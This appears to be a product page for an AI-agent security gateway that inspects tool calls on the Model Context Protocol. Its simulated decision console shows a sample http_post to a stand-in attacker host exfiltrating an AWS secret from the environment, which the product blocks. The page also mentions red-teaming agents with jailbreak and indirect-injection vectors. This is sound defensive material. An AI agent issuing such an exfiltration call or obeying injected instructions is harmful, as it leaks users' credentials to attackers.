How enforcement works

The gates every tool call passes, a step-through decision console, and the platform components.

Enforcement gates

Mastyf sits on the MCP transport between the agent and its tools. Every tool invocation is intercepted and evaluated before dispatch. Shield runs four gates in order; if any check fails, the call is severed before a single byte reaches the backend.

Gate 1 (Schema & Parse Clamping): Validates tool name and argument JSON structures against pre-compiled AST schemas. Drops malformed or oversized payloads in under 1 microsecond.

Decision console

Step through four tool calls and see the decision for each: the client, the invariant that fired, and what reached the tool.

mastyf-kernel-appliancev2026.4.1
Enforcing ~1.5 ms
Simulate a tool call

Simulated calls. Cycling every 6s; pick one to hold it.

Client
Cursor Agent (MCP)
Tool
network.http_post
Taint class
OWASP ASI-01 / DIFC Violation
Invariant
difc.taint.untrusted_egress_sink
{"url": "https://attacker-c2.net/exfil", "data": "env.AWS_SECRET"}
Wire severed0 bytes executed2.4 µs

Kernel invariantUntrusted taint tag propagated from web context prohibited from accessing egress socket sink.

Platform components

Five components, from a developer desktop sidecar to enterprise fleet governance.

  • Mastyf Shield

    Appliance and sidecar

    A reference monitor that runs as a lightweight sidecar alongside your agent processes. Evaluates every tool invocation across 4 deterministic gates, in about 1.5 ms. If any check fails, the transport wire is severed before a single byte reaches the backend.

  • Mastyf Gateway

    Runtime reverse proxy

    High-throughput fail-closed reverse proxy for MCP JSON-RPC, stdio, and HTTP tool calls. Its rules decide in about 1.5 ms per call.

    • MCP stdio & HTTP
    • Relational invariants
    • ~1.5 ms rule check
    • Audit or enforce mode
    Explore Gateway docs
  • Mastyf Swarm

    Adversarial CI/CD

    Automated adversarial runner that stress-tests your agent’s execution boundary before deployment using thousands of multi-turn jailbreak and indirect injection vectors.

    • 4,216 InjecAgent tests
    • Adaptive white-box red team
    • GitHub Actions CI runner
    • Automated regression gates
    Run Swarm in CI
  • Mastyf Trust

    MCP supply chain

    Static vulnerability scanner and behavioral registry for Model Context Protocol (MCP) servers. Detects excessive permissions, environment leaks, and known CVEs.

    • Static AST analysis
    • Permission fingerprinting
    • Certified MCP badges
    • CVE severity index
    Look up MCP server trust
  • Mastyf Control Plane

    Enterprise fleet governance

    Centralized dashboard and policy distribution network for enterprise agent deployments. Distribute signed YAML policies across thousands of agent runners, verify Ed25519-signed, tamper-evident audit trails, and stream events to your SIEM.

    SOC2, ISO 27001 ready
    Cryptographic audit
    Ed25519 signed receiptsrcpt_msh_89f02c91a0...
    Enterprise telemetry
    Real-time SIEM forwardingDatadog, Splunk, S3
    Identity and RBAC
    SSO and team workspacesGoogle and GitHub OAuth

Integrations

Works with any client, IDE, or framework that speaks the Model Context Protocol. For step-by-step setup, see Connect your agent.

  • Claude DesktopMCP native
  • Cursor AIAgent IDE
  • Windsurf / CodeiumFlow agent
  • LangChainAgent mesh
  • LlamaIndexData agents
  • OpenAI SwarmMulti-agent
  • Model Context ProtocolStandard
  • AutoGenConversational
  • Python SDKIntegration
  • Docker ComposeContainer
Agent integrations
10+
Rule check, median
~1.5 ms